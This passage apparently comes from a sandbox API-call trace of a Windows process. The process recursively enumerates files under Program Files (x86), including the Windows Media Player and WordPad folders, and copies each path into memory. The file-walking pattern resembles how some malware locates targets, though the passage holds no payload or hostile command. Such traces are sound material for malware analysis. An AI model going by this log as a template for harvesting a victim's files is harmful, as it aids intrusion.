Renderer\\", lpString2="RenderingControl.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" [0123.866] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned 79 [0123.866] lstrcpyW (in: lpString1=0x24b8500, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" [0123.866] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.866] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.866] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.866] lstrcmpW (lpString1="mpvis.DLL", lpString2=".") returned 1 [0123.866] lstrcmpW (lpString1="mpvis.DLL", lpString2="..") returned 1 [0123.866] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.866] lstrlenW (lpString="mpvis.DLL") returned 9 [0123.866] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="mpvis.DLL" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" [0123.866] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned 53 [0123.866] lstrcpyW (in: lpString1=0x24b0c90, lpString2="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" [0123.866] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.866] lstrcmpW (lpString1="Network Sharing", lpString2=".") returned 1 [0123.866] lstrcmpW (lpString1="Network Sharing", lpString2="..") returned 1 [0123.866] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.866] lstrlenW (lpString="Network Sharing") returned 15 [0123.867] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Network Sharing" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing" [0123.867] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\" [0123.867] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\") returned 60 [0123.867] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*" [0123.867] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.867] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.867] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.867] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.867] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.867] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.867] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.867] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.867] lstrcmpW (lpString1="routing.exe", lpString2=".") returned 1 [0123.867] lstrcmpW (lpString1="routing.exe", lpString2="..") returned 1 [0123.867] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.867] lstrlenW (lpString="routing.exe") returned 11 [0123.867] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="routing.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" [0123.867] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned 55 [0123.867] lstrcpyW (in: lpString1=0x24b0d08, lpString2="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" [0123.867] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.867] lstrcmpW (lpString1="setup_wm.exe", lpString2=".") returned 1 [0123.867] lstrcmpW (lpString1="setup_wm.exe", lpString2="..") returned 1 [0123.867] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.867] lstrlenW (lpString="setup_wm.exe") returned 12 [0123.867] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="setup_wm.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" [0123.867] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned 56 [0123.867] lstrcpyW (in: lpString1=0x24b5bf8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" [0123.867] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.867] lstrcmpW (lpString1="Skins", lpString2=".") returned 1 [0123.867] lstrcmpW (lpString1="Skins", lpString2="..") returned 1 [0123.867] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.867] lstrlenW (lpString="Skins") returned 5 [0123.867] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Skins" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins" [0123.867] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\" [0123.867] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned 50 [0123.867] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*" [0123.867] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.867] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.867] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.867] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.867] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.868] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.868] lstrcmpW (lpString1="Revert.wmz", lpString2=".") returned 1 [0123.868] lstrcmpW (lpString1="Revert.wmz", lpString2="..") returned 1 [0123.868] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned 50 [0123.868] lstrlenW (lpString="Revert.wmz") returned 10 [0123.868] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\", lpString2="Revert.wmz" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" [0123.868] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned 60 [0123.868] lstrcpyW (in: lpString1=0x24b2540, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" [0123.868] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.868] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.868] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.868] lstrcmpW (lpString1="Visualizations", lpString2=".") returned 1 [0123.868] lstrcmpW (lpString1="Visualizations", lpString2="..") returned 1 [0123.868] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.868] lstrlenW (lpString="Visualizations") returned 14 [0123.868] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Visualizations" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations" [0123.868] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\" [0123.868] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\") returned 59 [0123.868] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*" [0123.868] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.868] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.868] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.868] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.868] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.868] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.868] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.868] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.868] lstrcmpW (lpString1="wmlaunch.exe", lpString2=".") returned 1 [0123.868] lstrcmpW (lpString1="wmlaunch.exe", lpString2="..") returned 1 [0123.868] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.868] lstrlenW (lpString="wmlaunch.exe") returned 12 [0123.868] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmlaunch.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" [0123.868] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned 56 [0123.868] lstrcpyW (in: lpString1=0x24b5c78, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" [0123.868] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.868] lstrcmpW (lpString1="wmpconfig.exe", lpString2=".") returned 1 [0123.868] lstrcmpW (lpString1="wmpconfig.exe", lpString2="..") returned 1 [0123.868] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.868] lstrlenW (lpString="wmpconfig.exe") returned 13 [0123.868] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpconfig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" [0123.868] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned 57 [0123.868] lstrcpyW (in: lpString1=0x24b5cf8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" [0123.868] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.868] lstrcmpW (lpString1="WMPDMC.exe", lpString2=".") returned 1 [0123.868] lstrcmpW (lpString1="WMPDMC.exe", lpString2="..") returned 1 [0123.869] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.869] lstrlenW (lpString="WMPDMC.exe") returned 10 [0123.869] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPDMC.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" [0123.869] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned 54 [0123.869] lstrcpyW (in: lpString1=0x24b0d80, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" [0123.869] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.869] lstrcmpW (lpString1="WMPDMCCore.dll", lpString2=".") returned 1 [0123.869] lstrcmpW (lpString1="WMPDMCCore.dll", lpString2="..") returned 1 [0123.869] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.869] lstrlenW (lpString="WMPDMCCore.dll") returned 14 [0123.869] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPDMCCore.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" [0123.869] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned 58 [0123.869] lstrcpyW (in: lpString1=0x24b5d78, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" [0123.869] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.869] lstrcmpW (lpString1="wmpenc.exe", lpString2=".") returned 1 [0123.869] lstrcmpW (lpString1="wmpenc.exe", lpString2="..") returned 1 [0123.869] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.869] lstrlenW (lpString="wmpenc.exe") returned 10 [0123.869] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpenc.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" [0123.869] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned 54 [0123.869] lstrcpyW (in: lpString1=0x24b0df8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" [0123.869] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.869] lstrcmpW (lpString1="wmplayer.exe", lpString2=".") returned 1 [0123.869] lstrcmpW (lpString1="wmplayer.exe", lpString2="..") returned 1 [0123.869] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.869] lstrlenW (lpString="wmplayer.exe") returned 12 [0123.869] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmplayer.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" [0123.869] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned 56 [0123.869] lstrcpyW (in: lpString1=0x24b5df8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" [0123.869] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.869] lstrcmpW (lpString1="WMPMediaSharing.dll", lpString2=".") returned 1 [0123.869] lstrcmpW (lpString1="WMPMediaSharing.dll", lpString2="..") returned 1 [0123.869] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.869] lstrlenW (lpString="WMPMediaSharing.dll") returned 19 [0123.869] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPMediaSharing.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" [0123.869] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned 63 [0123.869] lstrcpyW (in: lpString1=0x24b25c8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" [0123.869] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.869] lstrcmpW (lpString1="wmpnssci.dll", lpString2=".") returned 1 [0123.869] lstrcmpW (lpString1="wmpnssci.dll", lpString2="..") returned 1 [0123.869] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.869] lstrlenW (lpString="wmpnssci.dll") returned 12 [0123.869] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpnssci.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" [0123.869] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned 56 [0123.869] lstrcpyW (in: lpString1=0x24b5e78, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" [0123.869] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.869] lstrcmpW (lpString1="WMPNSSUI.dll", lpString2=".") returned 1 [0123.869] lstrcmpW (lpString1="WMPNSSUI.dll", lpString2="..") returned 1 [0123.869] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.869] lstrlenW (lpString="WMPNSSUI.dll") returned 12 [0123.869] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPNSSUI.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" [0123.869] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned 56 [0123.870] lstrcpyW (in: lpString1=0x24b5ef8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" [0123.870] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.870] lstrcmpW (lpString1="wmprph.exe", lpString2=".") returned 1 [0123.870] lstrcmpW (lpString1="wmprph.exe", lpString2="..") returned 1 [0123.870] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.870] lstrlenW (lpString="wmprph.exe") returned 10 [0123.870] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmprph.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" [0123.870] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned 54 [0123.870] lstrcpyW (in: lpString1=0x24b0e70, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" [0123.870] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.870] lstrcmpW (lpString1="wmpshare.exe", lpString2=".") returned 1 [0123.870] lstrcmpW (lpString1="wmpshare.exe", lpString2="..") returned 1 [0123.870] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.870] lstrlenW (lpString="wmpshare.exe") returned 12 [0123.870] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpshare.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" [0123.870] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned 56 [0123.870] lstrcpyW (in: lpString1=0x24b5f78, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" [0123.870] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.870] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.870] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.870] lstrcmpW (lpString1="Windows NT", lpString2=".") returned 1 [0123.870] lstrcmpW (lpString1="Windows NT", lpString2="..") returned 1 [0123.870] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.870] lstrlenW (lpString="Windows NT") returned 10 [0123.870] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows NT" | out: lpString1="c:\\Program Files (x86)\\Windows NT") returned="c:\\Program Files (x86)\\Windows NT" [0123.870] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\") returned="c:\\Program Files (x86)\\Windows NT\\" [0123.870] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0123.870] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\*") returned="c:\\Program Files (x86)\\Windows NT\\*" [0123.870] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.870] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.870] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.870] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.870] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.870] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.870] lstrcmpW (lpString1="Accessories", lpString2=".") returned 1 [0123.870] lstrcmpW (lpString1="Accessories", lpString2="..") returned 1 [0123.870] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0123.870] lstrlenW (lpString="Accessories") returned 11 [0123.870] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="Accessories" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories") returned="c:\\Program Files (x86)\\Windows NT\\Accessories" [0123.870] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\" [0123.870] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0123.870] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\*") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\*" [0123.870] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\Accessories\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.870] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.870] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.871] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.871] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.871] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.871] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0123.871] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0123.871] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0123.871] lstrlenW (lpString="en-US") returned 5 [0123.871] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\en-US") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\en-US" [0123.871] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.871] lstrcmpW (lpString1="wordpad.exe", lpString2=".") returned 1 [0123.871] lstrcmpW (lpString1="wordpad.exe", lpString2="..") returned 1 [0123.871] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0123.871] lstrlenW (lpString="wordpad.exe") returned 11 [0123.871] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="wordpad.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" [0123.871] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned 57 [0123.871] lstrcpyW (in: lpString1=0x24b5ff8, lpString2="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" [0123.871] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.871] lstrcmpW (lpString1="WordpadFilter.dll", lpString2=".") returned 1 [0123.871] lstrcmpW (lpString1="WordpadFilter.dll", lpString2="..") returned 1 [0123.871] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0123.871] lstrlenW (lpString="WordpadFilter.dll") returned 17 [0123.871] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="WordpadFilter.dll" | out: lpString1="c:\\Program 